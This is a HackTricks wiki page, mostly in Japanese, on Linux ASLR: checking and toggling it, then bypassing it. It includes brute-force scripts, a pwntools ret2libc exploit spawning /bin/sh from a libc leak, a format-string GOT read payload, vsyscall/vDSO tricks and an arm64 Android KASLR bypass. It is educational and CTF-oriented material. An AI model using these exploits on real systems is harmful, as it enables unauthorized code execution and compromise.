ASLR

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Address Space Layout Randomization (ASLR) は、オペレーティングシステムで使用されるセキュリティ手法で、システムおよびアプリケーションプロセスが使用するメモリアドレスをランダム化します。これにより、スタック、ヒープ、ライブラリなどの特定のプロセスやデータの位置を攻撃者が予測することが著しく難しくなり、特に buffer overflows のような特定の種類のエクスプロイトを緩和します。

ASLRの状態確認

LinuxシステムでASLRの状態を確認するには、/proc/sys/kernel/randomize_va_space ファイルの値を読み取ります。このファイルに格納された値が適用されているASLRの種類を決定します:

  • 0: ランダム化なし。すべて静的です。
  • 1: 保守的なランダム化。共有ライブラリ、スタック、mmap()、VDSOページがランダム化されます。
  • 2: 完全なランダム化。保守的なランダム化でランダム化される要素に加えて、brk()で管理されるメモリもランダム化されます。

以下のコマンドでASLRの状態を確認できます:

cat /proc/sys/kernel/randomize_va_space

ASLR の無効化

ASLR を 無効化 するには、/proc/sys/kernel/randomize_va_space の値を 0 に設定します。ASLR を無効化することは、テストやデバッグの場面以外では一般に推奨されません。無効化する方法は以下の通りです:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

実行時にASLRを無効化することもできます:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

ASLR の有効化

ASLRを有効にするには、/proc/sys/kernel/randomize_va_space ファイルに値 2 を書き込みます。通常は root 権限が必要です。完全なランダム化を有効にするには、次のコマンドを使用します:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

再起動をまたいだ永続化

echo コマンドで行った変更は一時的で、再起動するとリセットされます。変更を永続化するには、/etc/sysctl.conf ファイルを編集し、次の行を追加または修正する必要があります:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

/etc/sysctl.conf を編集した後、変更を適用するには:

sudo sysctl -p

これにより、ASLR の設定が再起動後も維持されます。

Bypasses

32bit brute-forcing

PaX はプロセスのアドレス空間を 3 グループ に分けます:

  • Code and data (initialized and uninitialized): .text, .data, and .bss —> delta_exec 変数に格納される 16 ビット のエントロピー。これは各プロセスごとにランダムに初期化され、初期アドレスに加算されます。
  • Memory allocated by mmap() and shared libraries —> delta_mmap と名付けられた 16 ビット
  • The stack —> delta_stack と呼ばれる 24 ビット。しかし、実際には 11 ビット(10 バイト目から 20 バイト目までを含む)を使用し、16 bytes 境界に整列されます —> これにより 524,288 個の実際のスタックアドレス が得られます。

上記は 32-bit システム向けのデータであり、最終的なエントロピーが小さいため、exploit を何度も実行して成功するまで繰り返すことで ASLR を回避できる可能性があります。

Brute-force ideas:

  • 十分に大きなオーバーフローがあり、big NOP sled before the shellcode を格納できるなら、スタック上のアドレスを総当たりして、制御が NOP sled の一部を飛び越える まで試すことができます。
  • オーバーフローがそれほど大きくなく、exploit をローカルで実行できる場合は、NOP sled と shellcode を環境変数に置く という方法もあります。
  • exploit がローカルで実行可能なら、libc のベースアドレスをブルートフォースすることを試みることができます(32bit システムで有用):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • リモートサーバを攻撃する場合、libc 関数 usleep のアドレスを brute-force し、引数に 10 を渡す(例)ことで試すことができます。もしある時点でサーバが応答に追加で10秒かかるなら、その関数のアドレスを見つけたことになります。

Tip

64bit システムではエントロピーがはるかに高く、これはほとんど不可能です。

64 bits stack brute-forcing

env variables を使ってスタックの大部分を占有し、ローカルで binary を何百〜何千回も abuse して exploit することが可能です.
以下のコードは、スタック上のアドレスをjust select an address in the stackし、few hundreds of executionsごとにそのアドレスがNOP instructionを含むようになることを示しています:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force stack NOP 検出 ```python import subprocess import traceback

Start the process

nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops

Define the environment variables you want to set

env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }

cont = 0 while True: cont += 1

if cont % 10000 == 0: break

print(cont, end=“\r”)

Define the path to your binary

binary_path = ‘./aslr-testing’

try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass

</details>

<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>

### ローカル情報 (`/proc/[pid]/stat`)

プロセスのファイル **`/proc/[pid]/stat`** は常に誰でも読み取り可能で、**次のような興味深い情報** を含んでいます:

- **startcode** & **endcode**: バイナリの **TEXT** セグメントの開始と終了アドレス
- **startstack**: **stack** の開始アドレス
- **start_data** & **end_data**: **BSS** がある領域の開始と終了アドレス
- **kstkesp** & **kstkeip**: 現在の **ESP** と **EIP** のアドレス
- **arg_start** & **arg_end**: **cli arguments** がある領域の開始と終了アドレス
- **env_start** &**env_end**: **env variables** がある領域の開始と終了アドレス

したがって、攻撃者が脆弱なバイナリと同じコンピュータ上にいて、そのバイナリが生の引数からのオーバーフローではなく **このファイルを読んだ後に作成できる別の入力** からのオーバーフローを想定していない場合、攻撃者はこのファイルからいくつかのアドレスを取得し、それらからエクスプロイト用のオフセットを構築することが可能です。

> [!TIP]
> このファイルの詳細については [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) を参照し、`/proc/pid/stat` を検索してください

### leak がある場合

- **The challenge is giving a leak**

もし leak が与えられる場合(簡単な CTF チャレンジなど)、そこからオフセットを計算できます(例えば、攻撃対象のシステムで使用されている正確な libc バージョンを知っていると仮定した場合)。この例の exploit は [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) から抽出したものです(詳細はそのページを参照してください):

<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

buffer overflow を悪用すると、ret2plt を利用して libc の関数アドレスを exfiltrate することが可能です。参照:

Ret2plt

  • Format Strings Arbitrary Read

ret2plt と同様に、format strings の脆弱性を介して arbitrary read を得られる場合、GOT から libc function のアドレスを exfiltrate することが可能です。以下の example is from here:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

You can find more info about Format Strings arbitrary read in:

Format Strings

Ret2ret & Ret2pop

Try to bypass ASLR abusing addresses inside the stack:

Ret2ret & Reo2pop

vsyscall

The vsyscall mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of vsyscalls lies in their fixed addresses, which are not subject to ASLR (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.
ただし、ここではあまり面白い gadgets は見つからないことが多いです(例えば ret; に相当するものを得ることは可能です)。

(The following example and code is from this writeup)

For instance, an attacker might use the address 0xffffffffff600800 within an exploit. While attempting to jump directly to a ret instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a syscall provided by the vsyscall section can prove successful. By carefully placing a ROP gadget that leads execution to this vsyscall address, an attacker can achieve code execution without needing to bypass ASLR for this part of the exploit.

例: vmmap/vsyscall と gadget lookup の例 ```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```

vDSO

したがって、カーネルが CONFIG_COMPAT_VDSO でコンパイルされている場合、vdso アドレスがランダム化されないため、vdso を悪用して ASLR を回避できる可能性がある点に注意してください。詳しくは以下を参照:

Ret2vDSO

KASLR on ARM64 (Android): bypass via fixed linear map

多くの arm64 Android カーネルでは、kernel linear map (direct map) のベースがブート間で固定されています。物理ページに対するカーネルの VA が予測可能になり、direct map 経由で到達可能なターゲットに対する KASLR が破られます。

  • For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
  • PAGE_OFFSET = 0xffffff8000000000
  • PHYS_OFFSET = memstart_addr (exported symbol)
  • Translation: virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)

Leaking PHYS_OFFSET (rooted or with a kernel read primitive)

  • grep memstart /proc/kallsymsmemstart_addr のアドレスを確認
  • 任意の kernel read(例: tracing-BPF helper が BPF_FUNC_probe_read_kernel を呼ぶ等)でそのアドレスから 8 バイト(LE)を読み取る
  • 直接マップ VA を計算: virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)

Exploitation impact

  • ターゲットが direct map 内、または direct map 経由で到達可能であれば、別個の KASLR leak は不要(例: page tables、あなたが影響を与えたり観測したりできる物理ページ上のカーネルオブジェクトなど)。
  • arm64 Android 上での信頼できる任意 R/W とカーネルデータのターゲティングが容易になる。

Reproduction summary

  1. grep memstart /proc/kallsyms -> memstart_addr のアドレス
  2. Kernel read -> 8 バイト LE をデコード -> PHYS_OFFSET
  3. PAGE_OFFSET=0xffffff8000000000 を用いて virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET) を計算

Note

tracing-BPF helpers へのアクセスには十分な権限が必要です。PHYS_OFFSET を取得するには、任意の kernel read primitive や info leak があれば十分です。

How it’s fixed

  • 限られたカーネル VA 空間と CONFIG_MEMORY_HOTPLUG による将来の hotplug 用の VA 予約が、linear map をより低い VA に押し下げ(固定ベース化)ます。
  • Upstream arm64 は linear-map のランダム化を削除しました(commit 1db780bafa4c)。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする